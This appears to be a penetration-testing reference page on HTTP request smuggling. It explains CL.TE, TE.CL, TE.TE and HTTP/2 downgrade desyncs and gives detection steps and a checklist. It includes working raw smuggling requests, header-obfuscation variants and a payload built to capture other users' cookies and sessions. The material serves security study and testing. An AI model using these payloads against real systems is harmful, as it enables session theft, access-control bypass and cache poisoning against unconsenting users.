HTTP Request Smuggling
Request smuggling exploits a disagreement between a front-end proxy (CDN, load balancer, reverse proxy) and a back-end server about where one HTTP request ends and the next begins. The front-end forwards one thing; the back-end processes something different. The result: you can "poison" the TCP stream so that your extra bytes get prepended to a legitimate user's next request. James Kettle's original research and PortSwigger Labs are the canonical resource - this page covers what you need to actually find and exploit these.
The Core Disagreement
HTTP/1.1 has two ways to specify body length: Content-Length (CL) and Transfer-Encoding: chunked (TE). When both headers are present, the RFC says TE wins - but implementations disagree. That disagreement is the bug.
flowchart TD A["Client sends request with both CL and TE headers"] --> B["Front-end proxy"] B --> C{"Front-end uses which?"} C -->|"Uses CL"| D["Front-end sees N bytes, forwards to backend"] C -->|"Uses TE"| E["Front-end sees chunked body, forwards to backend"] D --> F["Back-end uses TE - reads different byte boundary"] E --> G["Back-end uses CL - reads different byte boundary"] F --> H["CL.TE desync: trailing bytes become next request prefix"] G --> I["TE.CL desync: trailing bytes become next request prefix"]
CL.TE Desync
Front-end uses Content-Length. Back-end uses Transfer-Encoding.
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDFront-end reads 13 bytes total (the 0\r\n\r\nSMUGGLED), forwards it as one request. Back-end parses as chunked: reads chunk size 0 (end of body), stops. SMUGGLED remains in the buffer - the back-end now prepends it to the next request it processes.
TE.CL Desync
Front-end uses Transfer-Encoding. Back-end uses Content-Length.
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Front-end reads chunked: gets 8 bytes (SMUGGLED), then chunk size 0 (done). Back-end reads by Content-Length: reads 3 bytes (8\r\n), stops. The rest (SMUGGLED\r\n0\r\n\r\n) sits in the buffer.
TE.TE Obfuscation
Both front-end and back-end support TE, but you can get one to ignore it by obfuscating the header:
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, dechunked
Transfer-Encoding: x
Transfer-Encoding : chunked ← header name with trailing space
X: X[\n]Transfer-Encoding: chunked ← header injectionIf the front-end processes the obfuscated TE and the back-end ignores it (falls back to CL), you've created a desync.
HTTP/2 Downgrade
Modern infrastructures that accept HTTP/2 from clients and downgrade to HTTP/1.1 for backend communication introduce new desync opportunities. HTTP/2 uses binary frames with explicit length - no CL/TE ambiguity. But when the front-end translates to HTTP/1.1 for the backend, it must choose how to represent the body length. If you can inject \r\n sequences into HTTP/2 header values that the backend interprets as new headers:
:method: POST
:path: /
content-length: 0
foo: bar\r\nTransfer-Encoding: chunkedBurp Suite's HTTP Request Smuggler extension handles most of this detection automatically.
Detection Methodology
Using HTTP Request Smuggler (Burp Extension)
- Install "HTTP Request Smuggler" from BApp Store
- Right-click any request → Extensions → HTTP Request Smuggler → Smuggle probe
- Let it run - it probes CL.TE, TE.CL, and TE.TE variants automatically
- Look for timing differences and error responses
Manual Timing-Based Detection
CL.TE test: If the back-end is waiting for more chunked data, the request will time out:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
XIf this takes ~10 seconds instead of responding immediately, the back-end is processing chunked and waiting for the terminating 0 chunk.
Exploitation: Capturing Other Users' Requests
The most impactful primitive - prepend your attack request so that the next victim's request appends to your poisoned body. Their cookies/headers land in something you can read back:
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /capture HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 800
data=The next user's request (say, GET /dashboard with their auth cookie) gets appended to data= - and if /capture stores or reflects that data, you read their session.
Common Impact Chains
- Bypass front-end access controls (front-end enforces auth, back-end doesn't - smuggle directly to back-end)
- Cache poisoning via smuggled cache-contaminating request
- XSS delivery via poisoned cache
- Credential capture from other users' requests
- Internal path exposure (smuggle to back-end endpoints the proxy doesn't expose)
Checklist
- Install HTTP Request Smuggler Burp extension
- Run smuggle probe on main endpoints, especially POST endpoints
- Manual timing test: CL.TE (timeout waiting for chunks) and TE.CL (immediate)
- Test TE obfuscation variants if basic tests are negative
- Check for HTTP/2 → HTTP/1.1 downgrade (check ALPN, Alt-Svc headers)
- If desync found: determine what you can read back (response reflection, stored data)
- Test access control bypass via smuggled request to restricted paths
See Also
- Cache Poisoning
- Reflected XSS
- PortSwigger Research: HTTP Desync Attacks